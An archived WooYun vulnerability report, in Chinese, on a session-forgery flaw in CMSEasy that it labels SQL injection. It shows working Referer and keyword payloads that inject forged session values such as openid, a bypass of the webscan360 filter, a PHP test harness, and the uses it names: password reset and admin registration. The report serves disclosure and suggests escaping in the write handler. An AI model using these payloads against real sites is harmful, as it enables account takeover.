cmseasy的SQL注射漏洞（附分析和exp） | wooyun-2014-081208| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081208

漏洞标题：cmseasy的SQL注射漏洞（附分析和exp）

漏洞作者： Noxxx

提交时间：2014-10-29 16:18

修复时间：2015-01-27 16:20

公开时间：2015-01-27 16:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-29：细节已通知厂商并且等待厂商处理中
2014-10-29：厂商已经确认，细节仅向厂商公开
2014-11-01：细节向第三方安全合作伙伴开放
2014-12-23：细节向核心白帽子及相关领域专家公开
2015-01-02：细节向普通白帽子公开
2015-01-12：细节向实习白帽子公开
2015-01-27：细节向公众公开

简要描述：

cmseasy sql注射漏洞

详细说明：

先看 manage_act.php 174行

if(!session::get('from')) session::set('from',front::$from);

如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。
在 front_class.php 312-313

if (isset($_SERVER['HTTP_REFERER']))
    self::$from=$_SERVER['HTTP_REFERER'];

看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的,导致我又可以注射了。
之前发了个已经说到了他session保存在数据库中,有出注入基本就可以控制它整个系统了..（ WooYun: cmseasy 的一个高危漏洞（设计缺陷））
----------
不多说了.上exp,先注册一个号然后

/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1
来源 http://127.0.0.1/',DATA=0x6F70656E69647C733A313A2232223B,client_ip=' 改为这个

正当我觉得很顺利的时候,发现webscan360拦截了我,
新版本中白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。
还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截由于webscan360对referre用的就是post拦截规则,（这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,）
单引号不能使用，想了想

from|s:4:"2222";

结构是这样的,哪我把2222 换成 ";openid|s:1:"2 能不能闭合呢.
结果处理成这样了

（不知道它如何 对session的转换代码,那自己只能fuzz测试了）
提交";openid|s:1:"2
from|s:15:"";openid|s:1:"2";

打印了 SESSION 发现闭合失败,15个字符包含其中,那我使用转义符 "\" 把双引号转义掉,他这个字符就会少一个
提交

提交 ：\";openid|s:1:"2
from|s:16:"";openid|s:1:"2";
s 16 但他只有15
转换后 变成了 from|N; 果然出错了，继续测试

提交 ：\";\openid|s:1:\"2
数据库 ： from|s:18:"";openid|s:1:"2";
转换后的数据库中 ： from|N;18:"";openid|s:1:"2";
打印了代码，看来有戏
  ["18:"";openid"]=>
  string(1) "2"

我们继续闭合,我们需要让18:""; 这部分自成一个数据就好了。
经过我一番测试后终于让他解析成功。

提交: |N;\openid|s:1:\"2\"
数据库 ：from|s:20:"|N;openid|s:1:"2"";
转换后的数据库中 ：from|N;20:"|N;openid|s:1:"2";
打印的代码,解析成功了。
  ["20:""]=>
  NULL
  ["openid"]=>
  string(1) "2"

分析补充：
标题：php某函数使用不当导致的漏洞
Cmseasy 使用了session_set_save_handler了,其作用是把session存到数据库中,而代替文件
而在我研究中发现,使用session_set_save_handler 不当就很会出现问题,而任意操纵session,很可怕！
session_set_save_handler php官网的介绍
write(string $sessionId, string $data)
在会话保存数据时会调用 write 回调函数。此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。
序列化后的数据将和会话 ID 关联在一起进行保存。当调用 read 回调函数获取数据时，所返回的数据必须要和传入 write 回调函数的数据完全保持一致。
PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。注意，在调用完此回调函数之后，PHP 内部会调用 close 回调函数。
//写将 $_SESSION 中数据序列化存入数据库中.
read(string $sessionId)
如果会话中有数据，read 回调函数必须返回将会话数据编码（序列化）后的字符串。如果会话中没有数据，read 回调函数返回空字符串。
在自动开始会话或者通过调用 session_start() 函数手动开始会话之后，PHP 内部调用 read 回调函数来获取会话数据。在调用 read 之前，PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。虽然数据看起来和 serialize() 函数很相似，但是需要提醒的是，它们是不同的。请参考： session.serialize_handler。
// 反序列化数据库中的 session 然后返回。
Cmseasy中是这样的：
__construct 构造函数
session_start();
$this->refresh(session_id());
Refresh -> gc //目的就是看时间差来判断 session过期了没有,如果过期了就删除掉这条session数据
读取的时候会先从数据库中读取出来然后 return $result ['data']; 然后反序列化( session_decode() ) $result ['data'];数据并填充 $_SESSION 超级全局变量,
之后在调用 write 用把 $_SESSION数据序列化( SESSION_ENCODE()) ,的数据写入数据库,并更新时间“update_time”（表示自己还在活动中）。
使用出错就出错在 write 没有把数据进行转义处理，而导致的解析出错。
我们来看
(我先自己在他的框架内做的测试
$_SESSION[‘TEST’] = $_POST[‘a’] //我自己测试方便去掉了实体化。
)
我们提交一个 “ \ ”他所对应的sql中就是TEST|s:2:"\\"; 插入数据库中就会变成TEST|s:2:"\"; 因为 \是转义符啊。而它php自己处理的session序列化值却不认这个符号把他当作普通字符串来序列化。
显然按照它的流程来的话,读取了这个值就会出现无法反序列化的情况。
数据会变成 TEST|N; 空值,这个一个bug 导致了问题的出现。
现在我们来尝试闭合它,来创建其他的值。
提交 |N;\ 为什么提交这个？因为 |N;来满足他后面的闭合用转义符让他的结构出错。
TEST|s:5:"|N;\"; -> null
我们自己加一个值呢？加个 ooo 值吧

提交的：|N;ooo|s:2:"aa"\ 
数据库中 ：TEST|s:20:"|N;ooo|s:2:"aa";\"; 
已经解析写入数据库中 ：TEST|s:20:"|N;ooo|s:2:"aa";\";
["TEST"]=> NULL ["20:""]=> NULL ["ooo"]=> string(2) "aa"

居然成功解析掉了,
在 archive_act.php中。有一段讲搜索记录存入session中的代码。
256-258

if (front::post('keyword')) {
            $this->view->keyword = trim(front::post('keyword'));
            session::set('keyword', trim(front::post('keyword'))); //存入。

我知道cmseasy全局都实体化了。中间测试fuzz费劲，，最后成功了，但是只能使用 int类型的,

提交的：N|openid|i:1;"1"\ ，
数据库：keyword|s:40:"N|openid|i:1;|xx|s:1:\\\&quot;1\\\&quot;";
已经解析写入数据库中 ：keyword|N;30:"N|N;openid|i:1;
["keyword"]=> NULL ["30:"N"]=> NULL ["openid"]=> int(1) ["username"]=> string(10) "test_Noxxx"

还有个地方提下,
manage_act.php 174行

if(!session::get('from')) session::set('from',front::$from);

如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。
在 front_class.php 312-313

if (isset($_SERVER['HTTP_REFERER']))
    self::$from=$_SERVER['HTTP_REFERER'];

看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的。
(新版本中白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。
还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截由于webscan360对referre用的就是post拦截规则,（这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,）)
这里的和上面做了转义处理没做实体化处理的同理
Referer: |N;openid|s:1:\"2\"\ 这样即可
这个有好几个利用比如 user_act.php 中的 edit_action函数内的userid 任意修改密码,再比如 respond_action 函数中的openid 注册管理员。
最后附上几个测试的代码

<?php 
/*
CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=MyISAM;
*/
class session { 
    // session-lifetime 
    var $lifeTime; 
    // mysql-handle 
    var $dbHandle; 
    function open($savePath, $sessName) { 
       // get session-lifetime 
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime"); 
       // open database-connection 
       $dbHandle = @mysql_connect("localhost","name","pwd"); 
       $dbSel = @mysql_select_db("db",$dbHandle); 
       // return success 
       if(!$dbHandle || !$dbSel) 
           return false; 
       $this->dbHandle = $dbHandle; 
       return true; 
    } 
    function close() { 
        $this->gc(ini_get('session.gc_maxlifetime')); 
        // close database-connection 
        return @mysql_close($this->dbHandle); 
    } 
    function read($sessID) { 
        // fetch session-data 
        $res = mysql_query("SELECT session_data AS d FROM ws_sessions 
                            WHERE session_id = '$sessID' 
                            AND session_expires > ".time(),$this->dbHandle); 
        // return data or an empty string at failure 
        if($row = mysql_fetch_assoc($res)) 
            return $row['d']; 
        return ""; 
    } 
    function write($sessID,$sessData) { 
        // new session-expire-time 
        $newExp = time() + $this->lifeTime; 
        // is a session with this id in the database? 
        $res = mysql_query("SELECT * FROM ws_sessions 
                            WHERE session_id = '$sessID'",$this->dbHandle); 
		//
		//$sessData = addslashes($sessData);
        if(mysql_num_rows($res)) { 
            // ...update session-data 
            mysql_query("UPDATE ws_sessions 
                         SET session_expires = '$newExp', 
                         session_data = '$sessData' 
                         WHERE session_id = '$sessID'",$this->dbHandle); 
            // if something happened, return true 
            if(mysql_affected_rows($this->dbHandle)) 
                return true; 
        } 
        // if no session-data was found, 
        else { 
            // create a new row 
            mysql_query("INSERT INTO ws_sessions ( 
                         session_id, 
                         session_expires, 
                         session_data) 
                         VALUES( 
                         '$sessID', 
                         '$newExp', 
                         '$sessData')",$this->dbHandle); 
            // if row was created, return true 
            if(mysql_affected_rows($this->dbHandle)) 
                return true; 
        } 
        // an unknown error occured 
        return false; 
    } 
    function destroy($sessID) { 
        // delete session-data 
        mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle); 
        // if session was deleted, return true, 
        if(mysql_affected_rows($this->dbHandle)) 
            return true; 
        // ...else return false 
        return false; 
    } 
    function gc($sessMaxLifeTime) { 
        // delete old sessions 
        mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
        // return affected rows 
        return mysql_affected_rows($this->dbHandle); 
    } 
} 
$session = new session(); 
session_set_save_handler(array(&$session,"open"), 
                         array(&$session,"close"), 
                         array(&$session,"read"), 
                         array(&$session,"write"), 
                         array(&$session,"destroy"), 
                         array(&$session,"gc")); 
session_start(); 
if (!empty($_GET['v'])){
	var_dump($_SESSION);exit;
}
$_POST = daddslashes($_POST);
$_SESSION['test']=$_POST['s'];
function daddslashes($string, $force = 1) {
	if (is_array($string)) {
		$keys = array_keys($string);
		foreach ($keys as $key) {
			$val = $string[$key];
			unset($string[$key]);
			$string[addslashes($key)] = daddslashes($val, $force);
		}
	} else {
		$string = (addslashes(trim($string)));
	}
	return $string;
}
?>

session_start();
var_dump(session_decode('test|s:20:"|N;ooo|s:2:"aa";\";'));

下了分php的源码但是不怎么明白..怎么执行的。最后都调用来的 php_var_unserialize ,。。
最后说一下这个也算是php的一个小bug把。我查看php官网上session_set_save_handler 函数说明好像并没有看见说明安全性的问题...广大朋友要注意这一点了。。
漏洞证明：
见详细说明
解决方案：
write 中转义data

漏洞证明：

给个exp:
登录状态
/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1
Referer: |N;\openid|s:1:\"2\"

利用方法很多,用到session地方都可以伪造，参考 WooYun: cmseasy 的一个高危漏洞（设计缺陷） ,

修复方案：

转义啊

版权声明：转载请注明来源 Noxxx@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-10-29 19:16

厂商回复：

感谢提交，我们将会在后面对整个程序的数据查询重写，希望白帽子能够给我们更多的意见和建议。

漏洞评价：

2014-10-29 16:25 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

不会是老地方官网文件覆盖错了又给还原回去了吧！！！
2014-10-29 16:42 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

很久之前，cmseasy还很小众的时候，写过一个getshell的exp，然后那个getshell的原因也是因为官网代码回滚造成的。so，cmseasy无爱了
2014-10-29 17:28 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

关键真要是回滚造成的要是过了我就无语了我本来想提交来着
2014-10-29 17:29 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

这种回滚的不算漏洞的再说我在给360 的绕过中已经发了只不过是提给360了
2014-10-29 17:36 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

@menmen519 不是回滚的。。
2014-10-29 17:45 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

@Noxxx 牛x 很期待看看
2014-10-29 17:51 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

@menmen519 标题起的有问题,等会还要改改..
2015-03-25 17:22 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

看的头晕，不过我感觉洞主，以前是做PHP开发的是吗

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081208

漏洞标题：cmseasy的SQL注射漏洞（附分析和exp）

相关厂商：cmseasy

漏洞作者： Noxxx

提交时间：2014-10-29 16:18

修复时间：2015-01-27 16:20

公开时间：2015-01-27 16:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Noxxx@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081208

漏洞标题：cmseasy的SQL注射漏洞（附分析和exp）

相关厂商：cmseasy

漏洞作者： Noxxx

提交时间：2014-10-29 16:18

修复时间：2015-01-27 16:20

公开时间：2015-01-27 16:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2014-081208"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Noxxx@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：